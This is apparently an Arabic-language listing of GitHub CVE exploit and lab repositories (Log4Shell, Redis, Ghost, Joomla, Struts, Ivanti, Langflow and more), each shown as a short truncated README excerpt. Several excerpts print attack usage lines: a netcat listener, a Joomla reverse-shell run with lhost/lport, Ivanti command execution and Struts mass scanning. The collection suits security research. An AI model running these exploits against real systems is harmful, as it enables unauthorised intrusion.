reditrap

RediTrap Honeypot RediTrap هو honeypot فخ عسل لـ Redis مصمم خصيصًا لاكتشاف المحاولات المبكرة لاستغلال CVE-2025-49844 "RediShell"، وهي ثغرة تنفيذ الأكواد عن بُعد الحرجة الموصوفة من قبل Wiz Research. يستغل الاستغلال خطأ use-after-free عمره 13 عامًا في محرك Lua المدمج: كان Redis يخزن اسم chunk الخاص...

log4j_github_repository

يتضمن هذا العمل أدوات اختبار وتحسين لثغرة CVE-2021-44228 log4j الغرض من هذه الدراسة هو سرد الأدوات المفيدة التي يمكن للفريق الأزرق والفريق الأحمر استخدامها ضد ثغرة Log4j. يمكن استخدام روابط Github لتجاوز الأدوات، والفحص، وآليات الكشف، وما إلى ذلك. الفحص أو إثبات المفهوم POC 🔴 العنوان:...

SASTRA-ADI-WIGUNA-CVE-2026-21858-Holistic-Audit

= doi.org/10.5281/zenodo.18278825 = orcid.org/0009-0007-7728-256X تحليل إعادة البناء CVE-2026-21858: Ni8mare - سلسلة استغلال كاملة لـ RCE في n8n 1. الملخص التنفيذي والنظرة العامة تقدم هذه الوثيقة تحليلًا تقنيًا حتميًا لإعادة بناء ثغرة CVE-2026-21858، المُسمّاة داخليًا Ni8mare. تحمل هذه الثغرة درج...

CVE-2026-29053

CVE-2026-29053 ثغرة تنفيذ الأوامر عن بُعد RCE في Ghost CMS عبر سلسلة النماذج الأولية في jsonpath/static-eval. معلومات CVE : CVE-2026-29053 الإصدارات المتأثرة : Ghost -p 1. شغّل مستمعًا: nc -lvnp 2. ارفع malicious-theme.zip إلى Ghost Admin ← Settings ← Design 3. أنشئ صفحة بالرابط rce 4. قم بزيارة...

CVE-2026-20131

CVE-2026-20131 — تنفيذ التعليمات البرمجية عن بُعد في Cisco Secure FMC إلغاء تسلسل Java الخطورة: حرجة CVSS 3.1: 10.0 CWE: CWE-502 — إلغاء تسلسل البيانات غير الموثوقة المتأثر: برنامج Cisco Secure Firewall Management Center FMC النشرة: cisco-sa-fmc-rce-NKhnULJh معرف الخطأ: CSCwt14636 نظرة عامة تسمح...

CVE-2026-33017-Lab

CVE-2026-33017 — مختبر تنفيذ الأوامر عن بُعد غير المصادق عليه في Langflow الملخص التنفيذي CVE-2026-33017 هي ثغرة تنفيذ أوامر عن بُعد RCE غير مصادق عليها في Langflow حيث تقبل نقطة نهاية بناء عامة بيانات تدفق يتحكم بها المهاجم، مما يسمح بتنفيذ كود مكوّن مخصص على الخادم. في هذا المختبر، يكون تدفق...

CVE-2020-0688

تحديد خوادم Exchange المعرضة لـ CVE-2020-0688 CVE-2020-0688 هي ثغرة أمنية حرجة في Microsoft Exchange بسبب استخدام مفاتيح ثابتة. على الرغم من أن استغلالها يتطلب بيانات اعتماد صالحة على مستوى مستخدم البريد الإلكتروني وأن خطر الاستغلال الجماعي منخفض، إلا أن هذه الثغرة قد تكون مفيدة جدًا في الهجمات...

Spring_cve-2022-22980

Springcve-2022-22980 تنفيذ التعليمات البرمجية عن بُعد في spring data mongodb | cve-2022-22980 poc الوصف تطبيق Spring Data MongoDB يكون عرضة لـ SpEL injection عند استخدام طرق استعلام مشروحة بـ @Query أو @Aggregation مع تعبيرات SpEL تحتوي على مكانات معلمات استعلام لربط القيم إذا لم يتم تنظيف الإدخا...

CVE-2026-22738

بيئة إعادة إنتاج CVE-2026-22738 وصف الثغرة CVE-2026-22738 هي ثغرة حقن SpEL لغة تعبير Spring في Spring AI SimpleVectorStore، والتي يمكن أن تؤدي إلى تنفيذ كود عن بُعد RCE دون مصادقة. الإصدارات المتأثرة Artifact| الإصدارات المتأثرة| الإصدار المُصلَح ---|---|--- org.springframework.ai:spring-ai-core|...

Joomla-3.4.6---configuration.php-Remote-Code-Execution

Joomla-3.4.6---configuration.php-Remote-Code-Execution النطاق المتأثر: 3.0.0-3.4.6 1. التحقق من الثغرة python3 Joomla-3.4.6-RCE.py -t http://172.20.10.4 إظهار "Vulnerable" يثبت وجود الثغرة python3 test.py -t http://127.0.0.1:8080/ --exploit --lhost 192.168.31.126 --lport 2121 تم التنفيذ بنجاح...

Terrminus-CVE-2026-2406

Terminus - إطار عمل الماسح والاستغلال لـ CVE-2026-24061 محرك تحليل أمني لثغرة تجاوز مصادقة Telnet NEWENVIRON وتصعيد الامتيازات CVE-2026-24061. نظرة عامة Terminus هو أداة بحث أمني احترافية مصممة لاختبار الاختراق المصرح به وتقييم الثغرات لـ CVE-2026-24061. تؤثر هذه الثغرة الحرجة على تطبيقات خادم...

log4shell

Log4Shell هذا المشروع عبارة عن عرض توضيحي لآلية عمل ثغرة الأمان log4shell. هذه الثغرة موصوفة في CVE-2021-44228. المشروع مخصص للأغراض التعليمية فقط. يجب استخدامه فقط على نظامك الخاص ولأغراض تجريبية فقط. أي تنفيذ يتم على مسؤوليتك الخاصة. يخلي المؤلف مسؤوليته عن أي حادث ينتج عن تنفيذ المشروع. مثال ع...

CVE-2023-51126

CVE-2023-51126 إصدار FLIR AX8 حتى 1.46.16 عرضة لحقن الأوامر عبر /usr/www/res.php. نوع الثغرة حقن أوامر بائع المنتج FLIR المكوّن المتأثر في /usr/www/res.php. يمكن للمعامل value حقن الأمر وتنفيذه. نوع الهجوم عن بُعد تأثير تنفيذ الكود صحيح المرجع https://aux1.preditec.com/ المكتشف Lin Xinkang من جام...

CVE-2025-30406

الجزء الأول: ثغرة λ CVE-2025-30406.exe rce.txt...

cve-2024-21683-rce

cve-2024-21683-rce CVE-2024-21683 هو ثغرة أمنية خطيرة من نوع تنفيذ التعليمات البرمجية عن بُعد RCE تؤثر على Confluence Server و Data Center من Atlassian. حصلت هذه الثغرة على درجة CVSS تبلغ 8.3، وهي ضمن فئة الخطورة العالية. يمكن للمهاجم استغلال هذه الثغرة لتنفيذ تعليمات برمجية عن بُعد عبر ملفات...

CVE-2026-34444

CVE-2026-34444 CVE-2026-34444 هروب من بيئة الحماية وتنفيذ تعليمات برمجية عن بُعد بسبب عدم اكتمال تطبيق attributefilter في getattr/setattr...

CVE-2021-44529

CVE-2021-44529 الصفحة الرئيسية للبائع: https://www.ivanti.com/ رابط البرنامج: https://forums.ivanti.com/s/article/Customer-Update-Cloud-Service-Appliance-4-6 الإصدار: CSA 4.6 4.5 - نهاية الدعم أغسطس 2021 قم بالتنفيذ python3 exploit.py مثال python3 exploit.py 'https://x.x.x.x' 'ls' LDMGdeploy.pdf...

Ashwesker-CVE-2026-21440

🚨 CVE-2026-21440 — ثغرة أمنية حرجة 🧩 الملخص CVE-2026-21440 هي ثغرة حرجة من نوع Path Traversal اجتياز المسار تؤثر على إطار عمل AdonisJS ، وتحديدًا على معالجة رفع الملفات متعددة الأجزاء multipart. ⚠️ إذا تم استغلالها، يمكن للمهاجمين كتابة ملفات في أي مكان على الخادم ، مما قد يؤدي إلى تنفيذ التعليمات...

S2-062

S2-062 CVE-2021-31805/s2-062 فحص جماعي واستغلال الثغرات يرجى الالتزام بالقوانين واللوائح، ويُحظر مهاجمة أنظمة المواقع دون إذن تعليمات الاستخدام وضع الفحص الجماعي python3 CVE-2021-31805.py -m scan -f 123.txt وضع تنفيذ الأوامر python3 CVE-2021-31805.py -u https://xxx.xxx.com:8080 -c id...

CVE-2026-33701-Unsafe-Deserialization-in-OpenTelemetry-Java-Agent-RMI-Instrumentation

CVE-2026-33701 — إلغاء التسلسل غير الآمن في أداة RMI الخاصة بوكيل OpenTelemetry Java الخطورة: حرجة CVSS v4.0: 9.3 الإصدارات المتأثرة: opentelemetry-javaagent 2.26.1 تم التصحيح في: 2.26.1 صدر في 23 مارس 2026 نظرة عامة يُعد OpenTelemetry على الأرجح إطار المراقبة الأكثر انتشارًا في نظام Java البيئي...